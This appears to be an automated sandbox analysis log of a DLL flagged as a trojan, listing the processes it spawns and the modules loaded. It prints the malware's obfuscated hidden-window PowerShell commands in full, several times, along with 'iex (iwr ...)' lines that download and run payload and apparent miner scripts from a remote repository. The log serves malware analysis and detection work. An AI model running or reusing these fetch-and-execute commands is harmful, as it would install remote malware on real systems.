Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1

Source: SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll

ReversingLabs: Detection: 26%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EA9.tmp" "c:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EF7.tmp" "c:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE8.tmp" "c:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE9.tmp" "c:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAC.tmp" "c:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAB.tmp" "c:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES481A.tmp" "c:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5E23.tmp" "c:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP"
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ej40y3sl\ej40y3sl.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ebaw0fq2\ebaw0fq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ps21mg5n\ps21mg5n.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oc0yukq2\oc0yukq2.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\4jzsybvo\4jzsybvo.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vprxgw2h\vprxgw2h.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\acg3vvmm\acg3vvmm.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ajmbpkj3\ajmbpkj3.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EA9.tmp" "c:\Users\user\AppData\Local\Temp\ps21mg5n\CSC5DBDDEA583D47AC992FDED4A9FE5F6F.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE9.tmp" "c:\Users\user\AppData\Local\Temp\ebaw0fq2\CSCA5D62A791D6B45AE841FF60C5C2CAA0.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EE8.tmp" "c:\Users\user\AppData\Local\Temp\ej40y3sl\CSCC31C8219248740B7B5892F735789A26B.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5EF7.tmp" "c:\Users\user\AppData\Local\Temp\oc0yukq2\CSC4B0ED8321FD4439294DC7A78D177B3A7.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAB.tmp" "c:\Users\user\AppData\Local\Temp\acg3vvmm\CSC2FE6764BCAE044C8A4E5F334AE1DCA7B.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1BAC.tmp" "c:\Users\user\AppData\Local\Temp\ajmbpkj3\CSCE65DF8D061034580A252685BFDC82FC.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES481A.tmp" "c:\Users\user\AppData\Local\Temp\vprxgw2h\CSCDBD4A03E654548E897E49139DD675E5.TMP"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5E23.tmp" "c:\Users\user\AppData\Local\Temp\4jzsybvo\CSC322DF87CD509445AB01BD8C0B6EFDFFF.TMP"

Source: C:\Windows\System32\loaddll64.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
